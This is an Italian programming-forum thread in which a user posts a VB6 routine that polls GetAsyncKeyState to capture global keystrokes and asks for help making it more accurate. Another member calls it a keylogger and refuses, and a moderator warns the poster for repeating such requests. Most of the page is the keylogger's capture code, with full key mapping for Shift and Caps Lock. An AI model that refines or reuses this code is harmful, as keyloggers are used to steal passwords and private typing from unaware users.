Visualizzazione dei risultati da 1 a 5 su 5
  1. #1
    Utente di HTML.it
    Registrato dal
    Jan 2005
    Messaggi
    197

    [vb6.0]verificare e ottimizzare codice

    salve a tutti dovrei migiorare questo codice in modod tale che risulti più preciso per o ci sta un problema nn sn molto pratico di questa procedura
    potreste spiegarmi come si indentificano i valori??


    Dim FoundKeys As String

    On Error Resume Next

    Dim AddKey

    KeyResult = GetAsyncKeyState(13)
    If KeyResult = -32767 Then
    AddKey = vbCrLf
    GoTo KeyFound
    End If
    KeyResult = GetAsyncKeyState(8)
    If KeyResult = -32767 Then
    l = Len(Text1.Text)
    AddKey = "[Backspace]"
    GoTo KeyFound
    End If

    KeyResult = GetAsyncKeyState(32)
    If KeyResult = -32767 Then
    AddKey = " "
    GoTo KeyFound
    End If

    KeyResult = GetAsyncKeyState(186)
    If KeyResult = -32767 Then
    If GetShift = False Then AddKey = ";" Else AddKey = ":"
    GoTo KeyFound
    End If

    KeyResult = GetAsyncKeyState(187)
    If KeyResult = -32767 Then
    If GetShift = False Then AddKey = "=" Else AddKey = "+"
    GoTo KeyFound
    End If

    KeyResult = GetAsyncKeyState(188)
    If KeyResult = -32767 Then
    If GetShift = False Then AddKey = "," Else AddKey = "<"
    GoTo KeyFound
    End If

    KeyResult = GetAsyncKeyState(189)
    If KeyResult = -32767 Then
    If GetShift = False Then AddKey = "-" Else AddKey = "_"
    GoTo KeyFound
    End If

    KeyResult = GetAsyncKeyState(190)
    If KeyResult = -32767 Then
    If GetShift = False Then AddKey = "." Else AddKey = ">"
    GoTo KeyFound
    End If

    KeyResult = GetAsyncKeyState(191)
    If KeyResult = -32767 Then
    If GetShift = False Then AddKey = "/" Else AddKey = "?" '/
    GoTo KeyFound
    End If

    KeyResult = GetAsyncKeyState(192)
    If KeyResult = -32767 Then
    If GetShift = False Then AddKey = "`" Else AddKey = "~" '`
    GoTo KeyFound
    End If

    KeyResult = GetAsyncKeyState(96)
    If KeyResult = -32767 Then
    If GetShift = False Then AddKey = "0" Else AddKey = ")"
    GoTo KeyFound
    End If

    KeyResult = GetAsyncKeyState(97)
    If KeyResult = -32767 Then
    If GetShift = False Then AddKey = "1" Else AddKey = "!"
    GoTo KeyFound
    End If


    KeyResult = GetAsyncKeyState(98)
    If KeyResult = -32767 Then
    If GetShift = False Then AddKey = "2" Else AddKey = "@"
    GoTo KeyFound
    End If

    KeyResult = GetAsyncKeyState(99)
    If KeyResult = -32767 Then
    If GetShift = False Then AddKey = "3" Else AddKey = "#"
    GoTo KeyFound
    End If


    KeyResult = GetAsyncKeyState(100)
    If KeyResult = -32767 Then
    If GetShift = False Then AddKey = "4" Else AddKey = "$"
    GoTo KeyFound
    End If

    KeyResult = GetAsyncKeyState(101)
    If KeyResult = -32767 Then
    If GetShift = False Then AddKey = "5" Else AddKey = "%"
    GoTo KeyFound
    End If


    KeyResult = GetAsyncKeyState(102)
    If KeyResult = -32767 Then
    If GetShift = False Then AddKey = "6" Else AddKey = "^"
    GoTo KeyFound
    End If

    KeyResult = GetAsyncKeyState(103)
    If KeyResult = -32767 Then
    If GetShift = False Then AddKey = "7" Else AddKey = "&"
    GoTo KeyFound
    End If


    KeyResult = GetAsyncKeyState(104)
    If KeyResult = -32767 Then
    If GetShift = False Then AddKey = "8" Else AddKey = "*"
    GoTo KeyFound
    End If

    KeyResult = GetAsyncKeyState(105)
    If KeyResult = -32767 Then
    If GetShift = False Then AddKey = "9" Else AddKey = "("
    GoTo KeyFound
    End If


    KeyResult = GetAsyncKeyState(106)
    If KeyResult = -32767 Then
    If GetShift = False Then AddKey = "*" Else AddKey = ""
    GoTo KeyFound
    End If

    KeyResult = GetAsyncKeyState(107)
    If KeyResult = -32767 Then
    If GetShift = False Then AddKey = "=" Else AddKey = "+"
    GoTo KeyFound
    End If

    KeyResult = GetAsyncKeyState(108)
    If KeyResult = -32767 Then
    AddKey = ""
    If GetShift = False Then Text1.Text = Text1.Text & vbCrLf
    GoTo KeyFound
    End If

    KeyResult = GetAsyncKeyState(109)
    If KeyResult = -32767 Then
    If GetShift = False Then AddKey = "-" Else AddKey = "_"
    GoTo KeyFound
    End If

    KeyResult = GetAsyncKeyState(110)
    If KeyResult = -32767 Then
    If GetShift = False Then AddKey = "." Else AddKey = ">"
    GoTo KeyFound
    End If

    KeyResult = GetAsyncKeyState(2)
    If KeyResult = -32767 Then
    If GetShift = False Then AddKey = "/" Else AddKey = "?"
    GoTo KeyFound
    End If

    KeyResult = GetAsyncKeyState(220)
    If KeyResult = -32767 Then
    If GetShift = False Then AddKey = "\" Else AddKey = "|"
    GoTo KeyFound
    End If

    KeyResult = GetAsyncKeyState(222)
    If KeyResult = -32767 Then
    If GetShift = False Then AddKey = "'" Else AddKey = Chr(34)
    GoTo KeyFound
    End If

    KeyResult = GetAsyncKeyState(221)
    If KeyResult = -32767 Then
    If GetShift = False Then AddKey = "]" Else AddKey = "}"


    GoTo KeyFound
    End If

    KeyResult = GetAsyncKeyState(219) '219
    If KeyResult = -32767 Then
    If GetShift = False Then AddKey = "[" Else AddKey = "{"
    GoTo KeyFound
    End If



    For n = 65 To 128
    KeyResult = GetAsyncKeyState(n)
    If KeyResult = -32767 Then
    If GetShift = False Then
    If GetCapslock = True Then AddKey = UCase(Chr(n)) Else AddKey = LCase(Chr(n))
    Else
    If GetCapslock = False Then AddKey = UCase(Chr(n)) Else AddKey = LCase(Chr(n))
    End If
    GoTo KeyFound
    End If
    Next n


    For n = 48 To 57
    KeyResult = GetAsyncKeyState(n)
    If KeyResult = -32767 Then
    If GetShift = True Then
    Select Case Val(Chr(n))
    Case 1
    AddKey = "!"
    Case 2
    AddKey = "@"
    Case 3
    AddKey = "#"
    Case 4
    AddKey = "$"
    Case 5
    AddKey = "%"
    Case 6
    AddKey = "^"
    Case 7
    AddKey = "&"
    Case 8
    AddKey = "*"
    Case 9
    AddKey = "("
    Case 0
    AddKey = ")"
    End Select
    Else
    AddKey = Chr(n)
    End If
    GoTo KeyFound
    End If
    Next n
    DoEvents
    Exit Sub

    KeyFound:
    If AddKey <> "" Then Text1.Text = Text1.Text & AddKey
    DoEvents

  2. #2
    Utente di HTML.it L'avatar di oregon
    Registrato dal
    Jul 2005
    residenza
    Roma
    Messaggi
    36,480
    Ma cos'e' ? Sembra un (pessimo tentativo di) keylogger ...

  3. #3
    Utente di HTML.it
    Registrato dal
    Jan 2005
    Messaggi
    197
    dici lo ho fato male? tramite mail mi aiuti a farlo pensa è sl per scopi didattici

  4. #4
    Utente di HTML.it L'avatar di oregon
    Registrato dal
    Jul 2005
    residenza
    Roma
    Messaggi
    36,480
    No ... mi spiace ma

    1) non faccio programmi via mail ... non ne ho il tempo

    2) non scrivo keylogger e malware vari ....

  5. #5
    Moderatore di Programmazione L'avatar di alka
    Registrato dal
    Oct 2001
    residenza
    Reggio Emilia
    Messaggi
    24,475

    Moderazione

    Originariamente inviato da nandoar
    dici lo ho fato male? tramite mail mi aiuti a farlo pensa è sl per scopi didattici
    Sei anche un po' recidivo: mi sembrava di aver già chiarito qui la questione, ribadita anche in questa sede.

    Ci sono tantissimi altri tipi di applicazioni che si possono fare a scopi didattici.

    Speriamo che sia l'ultima volta.
    MARCO BREVEGLIERI
    Software and Web Developer, Teacher and Consultant

    Home | Blog | Delphi Podcast | Twitch | Altro...

Permessi di invio

  • Non puoi inserire discussioni
  • Non puoi inserire repliche
  • Non puoi inserire allegati
  • Non puoi modificare i tuoi messaggi
  •  
Powered by vBulletin® Version 4.2.1
Copyright © 2025 vBulletin Solutions, Inc. All rights reserved.